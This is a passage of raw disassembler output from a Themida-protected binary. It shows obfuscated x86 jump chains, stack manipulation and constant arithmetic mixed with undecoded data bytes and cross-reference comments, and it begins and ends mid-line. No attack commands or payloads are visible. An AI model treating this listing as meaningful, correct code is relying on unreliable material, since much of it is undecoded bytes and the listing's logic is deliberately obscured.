2474FF24h, 0D124E904h, 3C89FFFFh dd 4E36BF24h, 0EF81413Dh, 0FFFFFFFFh, 182AE9h db 0 ; --------------------------------------------------------------------------- loc_54BCD9: ; CODE XREF: Themida_:00550CD3j push eax mov eax, 0ACD1D0Bh xor esi, eax pop eax push 1B66h mov [esp], esi not dword ptr [esp] jmp loc_547A93 ; --------------------------------------------------------------------------- dw 0C681h dd 1D2D1C44h, 0E95EF229h, 308Eh, 3EB8059h, 0FFFA63E9h db 0FFh ; --------------------------------------------------------------------------- loc_54BD09: ; CODE XREF: Themida_:0054907Dj add [esp+0Ch], ebp pop ebp pop eax sub dword ptr [esp+4], 727E70A5h jmp loc_54AB81 ; --------------------------------------------------------------------------- aIsS db '┴И]И)',0 align 4 dd 0B6E9F829h db 49h, 2 dup(0) byte_54BD2B db 66h ; DATA XREF: Themida_:00546220o dd 8124048Bh, 4ECh, 24348900h, 4732E9h, 0C3885300h, 885BDA88h dd 24148BD5h, 256AE9h, 24348B00h, 2241E9h db 0 byte_54BD55 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:005463F8o dd 4EC8324h, 0FFD9D7E9h, 242C89FFh, 0D4E9DDBDh, 5DEE2957h dd 0E95E3029h, 4397h, 0FEE9E789h db 7, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BD7B: ; CODE XREF: Themida_:0054C48Aj and eax, ebp push dword ptr [esp] pop ebp push 780Dh mov [esp], esi mov esi, esp push edi mov edi, 4 push ecx mov ecx, 42961F82h add ecx, 220F437Eh add esi, ecx pop ecx jmp loc_54DE93 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 37E95F04h db 0F1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BDAF: ; CODE XREF: Themida_:0054A7D0j pop esp or eax, eax jmp loc_550A5A ; --------------------------------------------------------------------------- db 0FFh dd 55582434h, 0FFB7EFE9h db 0FFh byte_54BDC1 db 55h, 53h, 52h ; DATA XREF: Themida_:00546470o dd 2C4659BAh, 35E2816Bh, 0E9672648h, 0FFFFDC76h, 4C681h dd 34870000h, 0FFE95C24h db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BDE3: ; CODE XREF: Themida_:0054936Ej push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edx push esp pop edx add edx, 4 add edx, 4 push edx push dword ptr [esp+4] pop edx pop dword ptr [esp] pop esp shr eax, 10h xor eax, ecx push 1F1Eh jmp loc_549EE8 ; --------------------------------------------------------------------------- loc_54BE18: ; CODE XREF: Themida_:0054DEB5j jz loc_54E263 push edx jmp loc_54D13C ; --------------------------------------------------------------------------- dd 1C8BD800h, 0E2895224h, 2772E9h db 0 ; --------------------------------------------------------------------------- loc_54BE31: ; CODE XREF: Themida_:0054B270j pop esp add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp mov [esp], ebx push ecx mov ecx, 4000h mov ebx, ecx pop ecx and eax, ebx mov ebx, [esp] jmp loc_54BF33 ; --------------------------------------------------------------------------- dd 3058E630h, 148B66F0h, 2C48324h, 440FE9h, 27E6800h, 34890000h dd 0CEA7E924h, 0F781FFFFh, 7E532711h, 0FFEE32E9h db 0FFh byte_54BE85 db 0ACh, 4, 0E7h ; DATA XREF: Themida_:005463CCo dd 0EC83D800h, 24148904h, 0E768F7B6h, 0E900000Dh, 1262h ; --------------------------------------------------------------------------- loc_54BE9C: ; CODE XREF: Themida_:0054D3DEj pop eax jmp loc_546C6D ; --------------------------------------------------------------------------- dw 0CE29h dd 2434FF59h, 4C4815Bh, 33000000h, 2AE92434h, 8900001Ah dd 4CE92414h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54BEBF: ; CODE XREF: Themida_:0054F0D8j mov [esp], eax jmp loc_54D8F8 ; --------------------------------------------------------------------------- loc_54BEC7: ; CODE XREF: Themida_:00549B9Ej pop eax not ebx sub ebx, 51C96309h add ebx, 97AEECBEh add eax, ebx pop ebx push 5BE9h mov [esp], edx jmp loc_54744A ; --------------------------------------------------------------------------- dw 0F800h dd 4E95B66h, 0BD00000Bh, 4C6F42E9h, 91F5814Dh, 295ABB7Fh dd 0CF37E9EFh, 0C701FFFFh, 4B95158h, 1000000h, 3C8759CFh dd 24248B24h, 42568h, 24148900h, 0E9565157h, 0FFFFB833h dd 0C3FE11B3h, 80E0C380h, 0F1E920F3h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54BF33: ; CODE XREF: Themida_:0054BE57j sub esp, 4 mov [esp], edx push esp jmp loc_5471EC ; --------------------------------------------------------------------------- dw 15Eh dd 5F04247Ch, 72E9008Fh, 2CFFFFAFh, 0E96D047Ah, 4E80h ; --------------------------------------------------------------------------- loc_54BF58: ; CODE XREF: Themida_:00549DEBj sub edi, 0DF5B9B65h add ebp, edi pop edi push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp imul ecx, eax push ecx pushf jmp loc_5464EB ; --------------------------------------------------------------------------- db 81h dd 1B04246Ch, 16A4333h, 81042454h, 1B042444h, 5A6A4333h dd 2CCDE95Ah, 0E9510000h, 662Fh, 0F38032B3h, 3FC38045h dd 0E380CBFEh, 0EA4AE90Ah, 0C889FFFFh, 46E1E9h, 3EB85000h dd 25738F5Dh, 51DE439Bh, 0D16C9725h, 42C30D32h, 0E20D1CC8h dd 2D7C8238h, 6B453FB7h, 6858C501h, 0 dd 98242C81h, 2949773Ch, 481242Ch, 773C9824h, 2434FF49h dd 4C4835Dh, 0FCB8504Dh, 0E9A39D95h, 4D03h, 48B665Ch, 5A545224h dd 57E28952h, 4BFh, 5FD8E900h, 305B0000h, 240C8BE8h, 4C481h dd 15680000h, 89000059h, 0C2B22414h, 669EE280h, 0C852E953h dd 0C481FFFFh, 4, 5C24048Fh, 50241489h, 0A495E99Ch, 10BFFFFFh dd 815E5310h, 0B742CBE7h, 9DC7813Ch, 29EC8932h, 0B9E95FF9h dd 1FFFFF4h, 1EC381D3h, 0FF27A665h, 835A2434h, 565204C4h dd 0FFB3FDE9h, 605468FFh, 70E90000h db 37h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C08F: ; CODE XREF: Themida_:00548103j pop edx mov ecx, [esp] add esp, 4 sub [esp+4], ebp mov ebp, [esp] add esp, 4 push dword ptr [esp] pop eax add esp, 4 push 4251h mov [esp], edi push 3AD0462h pop edi add eax, edi pop edi jmp loc_5470C4 ; --------------------------------------------------------------------------- loc_54C0BD: ; CODE XREF: Themida_:005468BAj push esi push ebp mov ebp, 43A7089Dh mov esi, ebp pop ebp sub ecx, esi mov esi, [esp] sub esp, 4 jmp loc_54B208 ; --------------------------------------------------------------------------- db 81h dd 2C4h, 94BE900h, 0E9540000h, 295h, 0E959C801h, 0FFFFCE9Bh dd 0BE243489h, 2, 348BF701h, 4C48324h, 2474FF57h, 243C8B04h dd 5B2AE9h, 4C68100h, 0E9000000h, 6124h, 8156E189h, 4ECh dd 24048900h, 341985B8h, 0ED9DE925h, 0DC88FFFFh, 0A6E9525Bh dd 66FFFFA8h, 8124148Bh, 4ECh, 24048900h, 0FFD60BE9h, 5DEF01FFh dd 815FFD31h, 0C63C2FE5h, 4E5C123h, 3639F581h, 0F5815F58h dd 0CCB61EAh, 26BEE9h, 24248B00h, 2896664h, 0FFA376E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C175: ; CODE XREF: Themida_:005519D3j push esi jmp loc_550EEC ; --------------------------------------------------------------------------- loc_54C17B: ; CODE XREF: Themida_:00549DF7j mov ecx, 4 jmp loc_54AA88 ; --------------------------------------------------------------------------- db 0B7h, 6Fh, 0E9h dd 12AAh, 5F2434FFh, 62B2E9h, 24148900h, 0C281E289h, 4 dd 8704C283h, 835C2414h, 0C3304C1h, 240C3124h, 8B240C33h dd 4212424h, 2CE99C24h, 0F7FFFFA3h, 1C783DFh, 0FD25E955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C1CA: ; CODE XREF: Themida_:00549C15j movzx cx, al jmp loc_54C3A8 ; --------------------------------------------------------------------------- db 8Bh dd 0C483243Ch, 4EC8104h, 0E9000000h, 3EB3h, 4C481h, 4680000h dd 0E900001Bh, 0FFFFFEFCh, 2DC2814Ah, 0F7390443h, 4EC81DAh dd 89000000h, 0E953240Ch, 1CF4h ; --------------------------------------------------------------------------- loc_54C20C: ; CODE XREF: Themida_:00549EDBj mov ebx, 65E468C3h add ebx, 41A8360Eh sub ebx, eax jmp loc_5506D4 ; --------------------------------------------------------------------------- loc_54C21E: ; CODE XREF: Themida_:005500D1j xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ecx push 1BD3h mov [esp], esp push eax mov eax, 4 sub dword ptr [esp+4], 5F8F3400h push ebp mov ebp, 29007597h jmp loc_5520BF ; --------------------------------------------------------------------------- dd 0EE80D6F6h, 0A5F680FFh, 2C4AB353h, 4D82821h, 0F0005B21h dd 0FFE3EFE9h, 30DA30FFh, 30D2F6D3h, 30DA30D3h, 41E380D3h dd 0C380C3FEh, 8BDE281Bh, 0C483241Ch, 2387E904h, 14870000h dd 4ED6E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C28E: ; CODE XREF: Themida_:0054F640j mov ebx, 8EDE9F58h xor ecx, ebx jmp loc_550F47 ; --------------------------------------------------------------------------- dw 4D66h dd 0E9DDF766h, 292Bh, 566FE95Dh, 0E7800000h, 0D3CF8016h dd 0FFDCF0E9h, 0F26866FFh, 29BBE907h, 0FD880000h, 0E9241C8Bh dd 0FFFFCFBBh, 80E1F280h, 0D000EAC2h, 0FBE9535Ah db 44h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C2D7: ; CODE XREF: Themida_:0054E5C6j add esp, 4 xchg eax, [esp] jmp loc_54CA62 ; --------------------------------------------------------------------------- word_54C2E2 dw 8B66h ; DATA XREF: Themida_:00546428o dd 8950240Ch, 0CA07E9E0h, 0F209FFFFh, 99C2815Eh, 31BF24A3h dd 0CA015AD1h, 29C28159h, 55657839h, 3D0C85BDh, 8BEA313Eh dd 0C483242Ch, 0CB73E904h, 0EB80FFFFh, 0E9E328AFh, 0FFFFD08Dh dd 170FEF81h, 8E91FD4h, 0FFFFF4h, 0EA6866EAh, 489660Ah dd 8096B424h, 78E95AF4h, 81FFFFA2h, 4ECh, 24248900h, 0CFFAE957h dd 5CFFFFh, 66D22CF8h, 0E9241C8Bh, 0FFFFFD7Bh ; --------------------------------------------------------------------------- loc_54C35C: ; CODE XREF: Themida_:00549401j or edx, eax shl edx, 1 push edx jmp loc_550178 ; --------------------------------------------------------------------------- loc_54C366: ; CODE XREF: Themida_:00552062j sub ecx, esi push ebx mov ebx, 49847D9Bh dec ebx shl ebx, 8 xor ebx, 0C4D1C173h jmp loc_54B7C0 ; --------------------------------------------------------------------------- db 5Bh, 0E9h, 0C4h dd 89FFFFCBh, 4C181E1h, 55000000h, 8D0A47BDh, 0C1DDF759h dd 7CE903EDh, 81000014h, 9F7FA2EBh, 0E9C3015Eh, 0FFFFC73Eh ; --------------------------------------------------------------------------- loc_54C3A8: ; CODE XREF: Themida_:0054C1CEj push cx pushf jmp loc_5464EB ; --------------------------------------------------------------------------- dd 162CBF57h, 0F8015AC5h, 83243C8Bh, 836804C4h, 8900001Eh dd 0E789243Ch, 6646BE56h, 9AE97DF9h, 2DFFFFFAh, 4, 0FFF241E9h dd 5AF300FFh, 0EB80C328h, 0B25251B0h, 68A2h, 14280000h dd 24148A24h, 8004C483h, 68E9FBE2h, 5600002Ch, 0FFED48E9h db 0FFh ; --------------------------------------------------------------------------- locret_54C405: ; CODE XREF: Themida_:0054761Ej retn ; --------------------------------------------------------------------------- dw 0E0E9h dd 1FFFFA0h, 0C0835BD8h, 2ACE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C416: ; CODE XREF: Themida_:00548EB3j pop eax push 3AA5h mov [esp], edx push esi jmp loc_5491EE ; --------------------------------------------------------------------------- db 81h, 0ECh, 4 dd 89000000h, 4812424h, 424h, 240C8B00h, 5BEE9h, 4EC8300h dd 89240C89h, 149E9E1h, 0CEBD0000h, 942D60Dh, 0F1815DE9h dd 72ED50EBh, 68FABA52h, 0B850474Ah, 0E70B489Fh, 0FFAB2DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C469: ; CODE XREF: Themida_:0054B177j pop ebp add esp, 4 push ebp mov ebp, 7FE3587h not ebp sub ebp, 192617D8h dec ebp not ebp push edx mov edx, 23244D60h xor ebp, edx pop edx jmp loc_54BD7B ; --------------------------------------------------------------------------- db 0B8h dd 6E3B4CB2h, 6D2D4848h, 31458BDFh, 0A3E958C1h, 66FFFFD3h dd 247BC781h, 19AFE9h, 24043000h, 0A035E99Ch, 4481FFFFh dd 63FB0424h, 6C297B2Ch, 0B8500424h, 7B2C63FBh, 8244429h dd 34FF5D58h, 1F5FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54C4D6: ; CODE XREF: Themida_:00549EF5j xchg esi, edx xchg ebp, esi sub esp, 4 jmp loc_54F958 ; --------------------------------------------------------------------------- loc_54C4E2: ; CODE XREF: Themida_:005478ABj add ebx, edi sub esp, 4 mov [esp], eax mov eax, 410A0A27h jmp loc_551001 ; --------------------------------------------------------------------------- dd 8B1DEB80h, 0C483240Ch, 0E9C32804h, 0FFFFCDCAh, 24148B66h dd 4A1768h, 242C8900h, 0D3E95D54h, 8900000Ch, 0BD552424h dd 4, 4246C01h, 0EC815B5Dh, 4, 0E9243489h, 0FFFFB739h dd 42474FFh, 24048F5Bh, 6624248Bh, 9C240CD3h, 0FF9FA2E9h dd 0F20966FFh, 0F281665Eh, 81660CCFh, 0E9D9B4C2h, 6C7h ; --------------------------------------------------------------------------- loc_54C55C: ; CODE XREF: Themida_:0054FFDDj pop esp mov [esp], ebx pop eax push dword ptr [esp] pop ebx add esp, 4 sub esp, 4 mov [esp], ebx jmp loc_5513D9 ; --------------------------------------------------------------------------- db 81h, 0C7h, 4 dd 68000000h, 3601h, 51240489h, 7D7FBE56h, 0B7E91534h dd 52FFFFB3h, 0FF02A6BAh, 0CDC28154h, 567B8801h, 0C36E6FBEh dd 0A28BE95Eh, 0F781FFFFh, 7B1E098Dh, 5167E947h, 0BD660000h dd 0F76608B7h, 0CD8166DDh, 8166610Ah, 661B09C5h, 6606EDC1h dd 690BF581h, 66505166h, 666983B8h, 665DA425h, 4066D0F7h dd 724A2566h, 4EE3E9h, 0F7895B00h, 84B8505Eh, 31479389h dd 24048BC7h, 8904EC83h, 0E789243Ch, 4C781h, 0C7810000h dd 4, 0FFEAB7E9h db 0FFh ; --------------------------------------------------------------------------- loc_54C611: ; CODE XREF: Themida_:00546D79j and ecx, 117D5C40h push eax mov eax, 3DF47DB7h jmp loc_5466AE ; --------------------------------------------------------------------------- dw 8F5Eh dd 505C2404h, 0B8E97FB0h, 81000030h, 4C4406C7h, 0C1DFF71Dh dd 0EF8105EFh, 0D46D1554h, 3C8BFA89h, 0E0895024h, 0FFE1EBE9h dd 242C87FFh, 5D5EE9h db 0 ; --------------------------------------------------------------------------- loc_54C655: ; CODE XREF: Themida_:0054D431j mov edi, [esp] add esp, 4 push edi mov edi, 6B6356DAh jmp loc_54EC4C ; --------------------------------------------------------------------------- db 54h, 0E9h, 86h dd 0E900001Dh, 0FFFF9E77h ; --------------------------------------------------------------------------- loc_54C674: ; CODE XREF: Themida_:0054AD1Bj mov edi, 748354AEh xor edi, ecx pop ecx neg edi shl edi, 2 and edi, 69C104C8h xor edi, 5D925E31h add eax, edi jmp loc_548CA1 ; --------------------------------------------------------------------------- dd 3FF9F581h, 0EE894FFFh, 81242C8Bh, 4C4h, 8BF20100h, 0C4812434h dd 4, 8B241487h, 0C80F2424h, 511768h, 4E3E900h, 4870000h dd 24248B24h, 81E68956h, 4C6h, 0B77FE900h, 59FFFFh, 0AF45E9F8h dd 0BB53FFFFh, 2D9D0826h, 0CFE9D3F7h, 8900004Dh, 0B74CE9E6h db 2 dup(0FFh) word_54C6F2 dw 8F64h ; DATA XREF: Themida_:0054626Co dd 9DF1E902h, 4B9FFFFh, 29000000h, 2C8759CDh, 71E95C24h dd 8B00001Ah, 8B662424h, 5452240Ch, 4C2815Ah, 56000000h dd 2430E957h, 34310000h, 24343324h, 6824248Bh, 1A9Ch, 83242489h dd 8F042404h, 89572404h, 4C781E7h, 81000000h, 4EFh, 243C8700h dd 243C895Ch, 4BFh, 24448100h, 976CDF04h, 247C011Ch, 246C8104h dd 976CDF04h, 243C8B1Ch, 4C481h, 74E90000h, 2CFFFF9Dh dd 5A6657h, 0E9AE2CF8h, 0FFFFBB87h ; --------------------------------------------------------------------------- loc_54C784: ; CODE XREF: Themida_:0054F047j push edx jmp loc_550777 ; --------------------------------------------------------------------------- word_54C78A dw 8B66h ; DATA XREF: Themida_:00546388o dd 3C68240Ch, 89000067h, 68E9243Ch, 8900005Bh, 0BB532424h dd 4, 2335E9h, 44C28100h, 5F212E1Ch, 5CE9D109h, 6600003Ch dd 88240C89h, 88C5FEFDh, 0E95966EFh, 0FFFFEEBEh, 0BB22C8BAh dd 5AD1315Dh, 0AB63E955h, 1C89FFFFh, 349FE924h, 83580000h dd 348904ECh, 0E9E68924h, 0FFFFCF6Fh, 5004E9C1h, 0FFFC9AE9h dd 814A5AFFh, 0F4CB63EAh, 0FFD70123h, 0E95A2434h, 0FFFFC412h dd 53243C8Bh, 0C381E389h, 4, 8704C383h, 248B241Ch, 17EA8124h dd 16CE8BDh, 602BE9D1h, 81590000h, 0F730D1E9h, 81F10110h dd 0F730D1C1h, 0C1835E10h, 240C8702h, 0A30F665Ch, 0E99C2404h dd 2954h, 0C8AF0F66h, 0E99C5166h, 0FFFF9C93h ; --------------------------------------------------------------------------- loc_54C858: ; CODE XREF: Themida_:00550333j mov ebx, eax mov eax, [esp] jmp loc_551E54 ; --------------------------------------------------------------------------- word_54C862 dw 0AD66h ; DATA XREF: Themida_:00546304o dd 0F2BA6652h, 0D828E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54C86E: ; CODE XREF: Themida_:00550693j pop ebx pop eax push ebx mov ebx, 12A32778h push edi push ebx push 52973339h pop ebx jmp loc_54F7E9 ; --------------------------------------------------------------------------- db 8Bh dd 0C481243Ch, 4, 8904EC83h, 0AEBD242Ch, 0E978428Fh, 0FFFFE7DCh dd 1C08BE56h, 0CE81790Ch, 58151954h, 1E9D6F7h, 0FF000020h dd 81592434h, 4C4h, 0C50FE900h, 3487FFFFh, 51665C24h, 5B97E952h dd 39BF0000h, 120706Eh, 902D5FF8h, 5549BF29h, 0F82ED1BDh dd 0C1DDF77Ah, 814503EDh, 0A3E3FC5h, 66C58179h, 18A0DF5h dd 242C8BE8h, 2403E9h, 81F20100h, 44511BEAh, 7FE95E1Dh dd 8BFFFFF9h, 0C4832424h, 2434FF04h db 8Bh, 0Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_548C95 ; --------------------------------------------------------------------------- db 0FEh dd 0E99C2404h, 0FFFF9BC7h ; --------------------------------------------------------------------------- loc_54C924: ; CODE XREF: Themida_:00550BEDj pop esp push dword ptr [esp] pop eax push ebx push esp pop ebx jmp loc_546CF2 ; --------------------------------------------------------------------------- db 0Fh, 0B7h, 0C8h dd 0FFA1ECE9h, 81D7F7FFh, 0D7298DF7h, 0D8C78161h, 0E91EB573h dd 1BAFh dword_54C94C dd 9D1C77FFh, 4105866h, 5BE99C24h ; DATA XREF: Themida_:0054644Co db 0Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54C95B: ; CODE XREF: Themida_:0055094Bj xchg esi, ebp push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop edx xchg edx, [esp] push dword ptr [esp] pop eax add esp, 4 push 7EAFh mov [esp], esi mov esi, esp push ecx mov ecx, 4 add esi, ecx pop ecx sub esi, 4 xchg esi, [esp] pop esp mov [esp], ecx jmp loc_54E8E9 ; --------------------------------------------------------------------------- dw 0C283h dd 24143302h, 33241431h, 4E92414h, 5F000038h, 7C5EF681h dd 0BB532469h, 233B1A30h, 7327EB81h, 0E3815CB2h, 6A3D1490h dd 0E381D3F7h, 7B33B3h, 124AC381h, 0DE314331h, 0FFFC14E9h dd 28BA2CFFh, 0C130E9D8h, 0C481FFFFh, 4, 9C240401h, 0FF9AFEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54C9ED: ; CODE XREF: Themida_:005470A4j pop esi jmp loc_550E9C ; --------------------------------------------------------------------------- align 4 dd 7E952F0h, 83FFFFA7h, 48904ECh, 5E08924h, 4, 1F3FE9h db 0 byte_54CA0D db 0ADh, 51h, 68h ; DATA XREF: Themida_:00546308o dd 383h, 0E9242C89h, 0FFFFE34Ah, 0FFC0B60Fh, 34FF8734h dd 24048B24h, 0FFB64EE9h, 44E952FFh, 88000027h, 5BF988F7h dd 8324148Bh, 70E904C4h, 0FFFFDAh, 0F2B6E9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CA4A: ; CODE XREF: Themida_:0054F5C0j pop edx movzx eax, al pop small word ptr [edi+eax*4] jmp loc_5464EB ; --------------------------------------------------------------------------- db 81h dd 9B231CE3h, 41D3E90Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54CA62: ; CODE XREF: Themida_:0054C2DDj mov esp, [esp] mov [esp], ebp push eax mov eax, ebx mov ebp, eax jmp loc_5481DB ; --------------------------------------------------------------------------- dw 0C281h dd 4, 4C281h, 14870000h, 0B78AE924h, 5259FFFFh, 88535153h dd 25A9E9C3h db 2 dup(0) word_54CA92 dw 8B66h ; DATA XREF: Themida_:00546454o dd 8950240Ch, 0E95751E0h, 5A5Fh, 24148966h, 0E99C5066h dd 0FFFF9A3Fh, 4C281h, 0EA830000h, 24148704h, 0D0F1E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CABE: ; CODE XREF: Themida_:0054908Dj add eax, 4 jmp loc_54ABF4 ; --------------------------------------------------------------------------- dd 5C241487h, 0E9243487h, 4Dh, 1BED814Dh, 31AD8291h, 2C22E9EFh dd 0C4810000h, 4, 0E904EC83h, 1F3h ; --------------------------------------------------------------------------- loc_54CAF0: ; CODE XREF: Themida_:0054A5EAj pop esp sub esp, 4 mov [esp], ecx mov ecx, 7B3039A5h push ebp jmp loc_551E7B ; --------------------------------------------------------------------------- db 29h, 0F0h, 0E9h dd 3735h, 4C481h, 23680000h, 89000044h, 0E0892404h, 32D6E9h dd 8B665C00h, 0D8E92404h, 52FFFFA0h, 0C281E289h, 4, 8704C283h dd 515C2414h, 0FFCA67E9h, 4C083FFh, 0FFE42CE9h, 3E7C0FFh dd 2C4DEF80h, 81F828D5h, 4ECh, 0EA80E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CB5E: ; CODE XREF: Themida_:00547A3Ej pop eax and ecx, esi pop esi jmp loc_54F159 ; --------------------------------------------------------------------------- loc_54CB67: ; CODE XREF: Themida_:005496B9j mov ebp, [esp] jmp loc_546758 ; --------------------------------------------------------------------------- loc_54CB6F: ; CODE XREF: Themida_:0054847Bj add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], edx push esi mov esi, 46FE7D5Eh mov edx, esi pop esi shl edx, 3 shl edx, 3 dec edx not edx jmp loc_54AAA5 ; --------------------------------------------------------------------------- byte_54CB99 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00546350o dd 5724048Bh, 0FFEC06E9h, 240489FFh, 0FF993EE9h, 8B665EFFh dd 89532414h, 4C381E3h, 81000000h, 2C3h, 241C8700h, 0EB81665Ch dd 66572BBCh, 6640FEBFh, 2870F781h, 1EB8166h, 0FB016669h dd 1C38166h, 81665F69h, 665681EBh, 8166C301h, 815681C3h dd 4ECh, 243C8900h, 294868h, 242C8900h, 0C581E589h, 4 dd 8704ED83h, 895C242Ch, 0BE662434h, 0BF660199h, 296645ACh dd 80E95EF7h, 66FFFFF8h, 34FFD029h, 0EE4BE924h, 487FFFFh dd 24248B24h, 3DF068h, 24348900h, 0B766857h, 515F11AAh dd 383AE9h db 0 ; --------------------------------------------------------------------------- loc_54CC49: ; CODE XREF: Themida_:005476B6j push eax xchg ecx, [esp] not ecx xchg ecx, [esp] push dword ptr [esp] pop eax push ecx push 48CFh jmp loc_546F77 ; --------------------------------------------------------------------------- db 81h, 0C4h, 2 dd 53000000h, 0C3FEE9B3h, 0FEECE380h, 20EB80CBh, 2A63E9h dd 24048F00h, 0DD8BE95Ch, 166FFFFh, 665966CDh, 565DEA01h dd 0A4686652h, 0D52CE905h db 2 dup(0FFh) word_54CC96 dw 1CF6h ; DATA XREF: Themida_:0054628Co dd 4CE99C24h db 98h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CC9F: ; CODE XREF: Themida_:0054A80Bj push edi push dword ptr [esp+4] jmp loc_546E94 ; --------------------------------------------------------------------------- byte_54CCA9 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00546480o dd 0E92434FFh, 0FFFFF103h ; --------------------------------------------------------------------------- loc_54CCB4: ; CODE XREF: Themida_:00548869j mov edi, 0F825E72Ah push edi push ebp mov ebp, 4C02419h add [esp+4], ebp pop ebp pop eax push edi mov edi, 4C02419h sub eax, edi pop edi pop edi sub eax, 3CF3208Fh jmp loc_5495D9 ; --------------------------------------------------------------------------- loc_54CCDA: ; CODE XREF: Themida_:0054BBEAj push ebx neg dword ptr [esp] jmp loc_54F9F4 ; --------------------------------------------------------------------------- db 89h dd 4BBD242Ch, 0E91E745Dh, 4E59h, 56241489h, 3A0EE9h, 4C28100h dd 83000000h, 148704C2h, 0CA815C24h, 35EE54CCh, 2E5FB850h dd 37057CDEh, 29FB1AEFh, 0CAE958C2h db 5Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CD1F: ; CODE XREF: Themida_:005471A6j shr ecx, 6 sub esp, 4 mov [esp], ebx mov ebx, esp jmp loc_5488C2 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0BF243C89h, 36FB050Fh, 8102E7C1h, 5D4B55EFh, 3EFC158h dd 6D9AEF81h, 0C2E91083h, 5300004Dh, 8AE95CB7h, 0B6FFFFB2h dd 0F5C680F1h, 5AF100h, 61E959C8h db 0E2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CD6F: ; CODE XREF: Themida_:0054F4C9j jmp loc_5464EB ; --------------------------------------------------------------------------- dd 7059C181h, 0CE896DD5h, 5EF30159h, 86A68h, 0DA05E900h dd 0C381FFFFh, 5E59401Eh, 0EB81EB01h, 5E59401Eh, 4C3815Dh dd 53000000h, 42474FFh, 24048F5Bh, 0E924248Bh, 0FFFF973Bh ; --------------------------------------------------------------------------- loc_54CDB0: ; CODE XREF: Themida_:00549DBFj sub ebp, ebx pop ebx xchg esi, ebp jmp loc_551F45 ; --------------------------------------------------------------------------- dw 0F781h dd 70BA3D2Ah, 22E9F931h db 13h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CDC7: ; CODE XREF: Themida_:00552221j push esp push dword ptr [esp] pop ebx jmp loc_551FAD ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd offset dword_4E0A6C+67Dh dd 0FFEF8100h, 4FFFFFFFh, 414568h, 24048900h, 0BF0CC6B8h dd 7BE5614h, 0E90C1A6Dh, 1399h, 0A82DF029h, 0E97EDE03h dd 390Dh, 240C8B5Eh, 8304C483h, 48704C0h, 4055C24h, 53000000h dd 2BBh, 0E9D80100h, 102Ah ; --------------------------------------------------------------------------- loc_54CE24: ; CODE XREF: Themida_:0054DFBDj mov [esp], ecx mov ecx, esp add ecx, 4 push edx mov edx, 50DA722Eh shr edx, 4 or edx, 5BD10639h shl edx, 6 add edx, 8963144h sub ecx, edx pop edx xchg ecx, [esp] jmp loc_54F2CE ; --------------------------------------------------------------------------- dw 4BEh dd 81598C6Ah, 580380E6h, 0C1E6D130h, 8BE906E6h, 80FFFFEEh dd 9FE9DDEEh db 0BEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CE6F: ; CODE XREF: Themida_:00547698j mov eax, 69A45DA9h shr eax, 1 shr eax, 7 xor eax, 16834EE6h dec eax xor eax, 5F2FCA88h add ebp, eax pop eax pop esi push eax jmp loc_5475F6 ; --------------------------------------------------------------------------- dw 58E9h dd 50FFFF96h, 927024B8h, 0DD8F761h, 7FE625D2h, 0E948D8F7h dd 17CFh, 0C7C6815Eh, 0E9564C69h, 5127h, 2EF81h, 3C870000h dd 429AE924h, 53550000h, 0CD0926BBh, 5BDD89FFh, 15DE901h dd 0D6BEE9CDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CED6: ; CODE XREF: Themida_:0054A2BEj pop edi add esp, 4 sub edi, 1 sub edi, 4B660D80h jmp loc_547813 ; --------------------------------------------------------------------------- loc_54CEEB: ; CODE XREF: Themida_:00551256j mov [esp], esi push ebx pop esi jmp loc_54AA4B ; --------------------------------------------------------------------------- db 80h, 0C7h, 25h dd 48E9FE00h, 53000016h, 7F23C4BBh, 9FC38131h, 816ADD26h dd 7AE826C3h, 0A28E9DDh db 2 dup(0) word_54CF16 dw 32FFh ; DATA XREF: Themida_:005463C8o dd 0FF95CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_54CF1D: ; CODE XREF: Themida_:0054DCBBj push ebx mov ebx, edi mov esi, ebx pop ebx push esi add dword ptr [esp], 7651599Ch jmp loc_54D429 ; --------------------------------------------------------------------------- dd 148B7104h, 5B545324h, 56D2E9h, 4C58100h, 81000000h dd 4C5h, 242C8700h, 0E389535Ch, 4C381h, 0EB830000h, 74FF5304h dd 8F5B0424h, 895C2404h, 